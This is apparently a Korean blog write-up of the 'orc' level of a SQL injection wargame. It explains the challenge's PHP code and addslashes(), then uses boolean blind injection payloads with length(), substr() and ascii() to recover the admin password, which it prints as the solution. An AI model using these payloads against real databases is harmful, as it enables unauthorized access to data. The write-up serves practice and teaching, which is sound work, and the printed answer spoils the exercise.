728x90
반응형

query : select id from prob_orc where id='admin' and pw=''

 

<?php 

  include "./config.php"

  login_chk(); 

  $db dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  $query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"

  echo "<hr>query : <strong>{$query}</strong><hr><br>"

  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if($result['id']) echo "<h2>Hello admin</h2>"

   

  $_GET[pw] = addslashes($_GET[pw]); 

  $query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"

  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

  highlight_file(__FILE__); 

?>

 

 

PHP 문법

addslashes()

  • DB는 구분 기호인 "  '  \ 등을 사용
  • 하나의 ' (싱글 쿼테이션)나 " (더블 쿼테이션) 같은 구분자가 들어가면 예상치 않은 오류 발생
    ( 'It's an apple' 이렇게  쿼리를 전송하면 It뒤에 ' (싱글 쿼테이션)로 인해 오류 )
  • 'It\'s an apple' 으로 addslashes() 가 \(백슬래시)를 붙여 바꿔 작업 수행

stripslashes ()

  • addslashes함수 반대 기능으로 입력될 때 DB에서 추가되었던 \ (백슬래시)를 제거해주는 함수

 

코드 해석

if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  • pw prob  _  .  () 포함될 경우 "No Hack ~_~" 출력

 $query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"

  • Qurey id admin으로 고정되어 있음
  • Qurey pw GET 방식으로 삽입

$_GET[pw] = addslashes($_GET[pw]); 

  • "  '  `  등의 기호를 이스케이프하기 때문에 문자열 대입은 힘듬

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

  • DB pw addslashes필터링된 입력 pw 같으면 문제해결
  • pw /간접적으로 알아야하는 상황

 

문제 해결

  1. admin의 pw를 입력해야 문제 해결, Blind Injection 수행
  2. Password 길이 확인
  3. ascii 코드를 통해 범위를 줄여가며 Blind Injection 수행

 

Password 길이 확인

  • Hello admin 출력으로 /거짓 확인
  • pw 8자리

  • pw 9 자리 미만 : True
    ( ?
    pw=' || id='admin' and length(pw)<9%23 )

 

 

  • pw 8 자리 미만 : False
    ( ?
    pw=' || id='admin' and length(pw)<8%23 )

 

 

 

ascii 코드를 통해 범위를 줄여가며 Blind Injection 수행

substr() 활용

  • substr(pw,3,2) : pw문자열의 3번째 부터 2글자 출력

 

  • ascii 코드 번호 49 미만 : True
    (
    ?pw=' || id='admin' and ascii(substr(pw,1,1))<49%23)
  • ascii 코드 번호 48 미만 : False
    (
    ?pw=' || id='admin' and ascii(substr(pw,1,1))<48%23)
  • pw첫번째 글자 ascii code 48 ( "0" )

 

 

 

  • ascii 코드 번호 58 미만 : True
    (
    ?pw=' || id='admin' and ascii(substr(pw,2,1))<58%23)
  • ascii 코드 번호 57 미만 : False
    (
    ?pw=' || id='admin' and ascii(substr(pw,2,1))<57%23)
  • pw번째 글자 ascii code 57 ( "9" )

 

 

ASCII Code Table

 

Python 활용

 

 

GET 방식으로 URL pw 대입 ( ?pw=095a9852  )

  • query : select id from prob_orc where id='admin' and pw='095a9852'
728x90

'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글

[ LS - 06 ] darklef  (0) 2021.12.18
[ LS - 05 ] wolfman  (0) 2021.12.18
[ LS - 03 ] goblin  (0) 2021.12.18
[ LS - 02 ] cobolt  (0) 2021.12.18
[ LS - 01 ] gremlin  (0) 2021.12.18

+ Recent posts